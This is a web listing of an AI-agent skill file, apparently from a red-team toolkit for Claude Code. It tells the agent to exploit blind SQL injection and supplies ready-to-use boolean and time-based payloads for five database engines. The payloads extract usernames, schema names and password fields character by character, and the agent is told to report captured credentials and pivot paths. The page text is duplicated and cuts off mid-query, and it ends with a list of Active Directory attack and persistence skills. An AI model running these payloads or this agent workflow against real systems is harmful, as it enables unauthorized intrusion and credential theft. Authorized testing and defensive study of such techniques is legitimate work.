/sql-injection-blind
Guide blind SQL injection exploitation (boolean-based, time-based, and out-of-band) during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill sql-injection-blind --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/sql-injection-blind
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide blind SQL injection exploitation (boolean-based, time-based, and out-of-band) during authorized penetration testing.
SKILL.md
sql-injection-blind.SKILL.mdname: sql-injection-blind
description: >
Guide blind SQL injection exploitation (boolean-based, time-based, and
out-of-band) during authorized penetration testing.
keywords:
- blind SQLi
- boolean-based
- time-based
- SLEEP injection
- WAITFOR DELAY
- pg_sleep
- no output visible
- no errors shown
- inferential SQLi
- OOB SQL injection
- DNS exfiltration SQL
tools:
- sqlmap
- burpsuite
opsec: medium
Blind SQL Injection
You are helping a penetration tester exploit blind SQL injection. The target application does not display query results or error messages, so data must be extracted indirectly — through boolean conditions, time delays, or out-of-band channels. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-blind] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- No query output rendered in the response (otherwise use **sql-injection-union**)
- No verbose errors displayed (otherwise use **sql-injection-error**)
- For boolean: a detectable difference between true and false conditions
- For time-based: stable enough network to detect deliberate delays
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Response behavior** — how does the app respond to valid vs invalid input? 3. **DBMS** — if known from other testing
Skip if context was already provided.
Step 2: Confirm Blind Technique
Boolean-Based
Inject conditions that produce different responses:
' AND 1=1--+ -- TRUE — page renders normally
' AND 1=2--+ -- FALSE — page changes (missing content, error, redirect)
Compare: response body, Content-Length, status code, specific elements.
Time-Based
Inject a sleep function and measure response delay:
' AND SLEEP(5)--+ -- MySQL
'; WAITFOR DELAY '0:0:5'--+ -- MSSQL
' AND 1=(SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--+ -- PostgreSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--+ -- Oracle
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))--+ -- SQLiteStep 3: Extract Data — Boolean-Based
Pattern: ask "is the Nth character of [data] equal to X?" via binary search.
MySQL
-- Check length first
' AND LENGTH(user())=N--+
-- Binary search character extraction
' AND ASCII(SUBSTRING(user(),1,1))>78--+ -- Is char > 'N'?
' AND ASCII(SUBSTRING(user(),1,1))>90--+ -- Is char > 'Z'?
' AND ASCII(SUBSTRING(user(),1,1))=114--+ -- Is char 'r'?
-- Extract database name
' AND ASCII(SUBSTRING(database(),1,1))>78--+
-- Count tables
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=N--+
-- Extract table name char by char
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78--+
-- Extract column name
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE' LIMIT 0,1),1,1))>78--+
-- Extract data
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78--+
**Alternatives** when ASCII/SUBSTRING are blocked:
' AND (SELECT user()) LIKE 'r%'--+ -- LIKE
' AND (SELECT user()) REGEXP '^r'--+ -- REGEXP
' AND MID(user(),1,1)='r'--+ -- MID (alias for SUBSTRING)
MSSQL
' AND ASCII(SUBSTRING(SYSTEM_USER,1,1))>78--+
' AND ASCII(SUBSTRING(DB_NAME(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases)),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>78--+
PostgreSQL
' AND ASCII(SUBSTRING(current_user,1,1))>78--+
' AND ASCII(SUBSTRING(current_database(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78--+
Oracle
-- Oracle uses SUBSTR instead of SUBSTRING
' AND ASCII(SUBSTR((SELECT user FROM dual),1,1))>78--+
' AND ASCII(SUBSTR((SELECT table_name FROM user_tables WHERE ROWNUM=1),1,1))>78--+
' AND ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>78--+
SQLite
' AND UNICODE(SUBSTR(sqlite_version(),1,1))>50--+
' AND UNICODE(SUBSTR((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>78--+
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>78--+
Step 4: Extract Data — Time-Based
Same character-by-character approach, using response delay instead of content differences.
MySQL
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING(database(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING((SELECT table_name F
Read more
name: sql-injection-blind description: > Guide blind SQL injection exploitation (boolean-based, time-based, and out-of-band) during authorized penetration testing. keywords: - blind SQLi - boolean-based - time-based - SLEEP injection - WAITFOR DELAY - pg_sleep - no output visible - no errors shown - inferential SQLi - OOB SQL injection - DNS exfiltration SQL tools: - sqlmap - burpsuite opsec: medium
Blind SQL Injection
You are helping a penetration tester exploit blind SQL injection. The target application does not display query results or error messages, so data must be extracted indirectly — through boolean conditions, time delays, or out-of-band channels. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-blind] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- No query output rendered in the response (otherwise use **sql-injection-union**)
- No verbose errors displayed (otherwise use **sql-injection-error**)
- For boolean: a detectable difference between true and false conditions
- For time-based: stable enough network to detect deliberate delays
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Response behavior** — how does the app respond to valid vs invalid input? 3. **DBMS** — if known from other testing
Skip if context was already provided.
Step 2: Confirm Blind Technique
Boolean-Based
Inject conditions that produce different responses:
' AND 1=1--+ -- TRUE — page renders normally ' AND 1=2--+ -- FALSE — page changes (missing content, error, redirect)
Compare: response body, Content-Length, status code, specific elements.
Time-Based
Inject a sleep function and measure response delay:
' AND SLEEP(5)--+ -- MySQL
'; WAITFOR DELAY '0:0:5'--+ -- MSSQL
' AND 1=(SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--+ -- PostgreSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--+ -- Oracle
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))--+ -- SQLiteStep 3: Extract Data — Boolean-Based
Pattern: ask "is the Nth character of [data] equal to X?" via binary search.
MySQL
-- Check length first ' AND LENGTH(user())=N--+ -- Binary search character extraction ' AND ASCII(SUBSTRING(user(),1,1))>78--+ -- Is char > 'N'? ' AND ASCII(SUBSTRING(user(),1,1))>90--+ -- Is char > 'Z'? ' AND ASCII(SUBSTRING(user(),1,1))=114--+ -- Is char 'r'? -- Extract database name ' AND ASCII(SUBSTRING(database(),1,1))>78--+ -- Count tables ' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=N--+ -- Extract table name char by char ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78--+ -- Extract column name ' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE' LIMIT 0,1),1,1))>78--+ -- Extract data ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78--+
**Alternatives** when ASCII/SUBSTRING are blocked:
' AND (SELECT user()) LIKE 'r%'--+ -- LIKE ' AND (SELECT user()) REGEXP '^r'--+ -- REGEXP ' AND MID(user(),1,1)='r'--+ -- MID (alias for SUBSTRING)
MSSQL
' AND ASCII(SUBSTRING(SYSTEM_USER,1,1))>78--+ ' AND ASCII(SUBSTRING(DB_NAME(),1,1))>78--+ ' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases)),1,1))>78--+ ' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>78--+ ' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>78--+
PostgreSQL
' AND ASCII(SUBSTRING(current_user,1,1))>78--+ ' AND ASCII(SUBSTRING(current_database(),1,1))>78--+ ' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1))>78--+ ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78--+
Oracle
-- Oracle uses SUBSTR instead of SUBSTRING ' AND ASCII(SUBSTR((SELECT user FROM dual),1,1))>78--+ ' AND ASCII(SUBSTR((SELECT table_name FROM user_tables WHERE ROWNUM=1),1,1))>78--+ ' AND ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>78--+
SQLite
' AND UNICODE(SUBSTR(sqlite_version(),1,1))>50--+ ' AND UNICODE(SUBSTR((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>78--+ ' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>78--+
Step 4: Extract Data — Time-Based
Same character-by-character approach, using response delay instead of content differences.
MySQL
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,SLEEP(2),0)--+ ' AND IF(ASCII(SUBSTRING(database(),1,1))>78,SLEEP(2),0)--+ ' AND IF(ASCII(SUBSTRING((SELECT table_name F
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

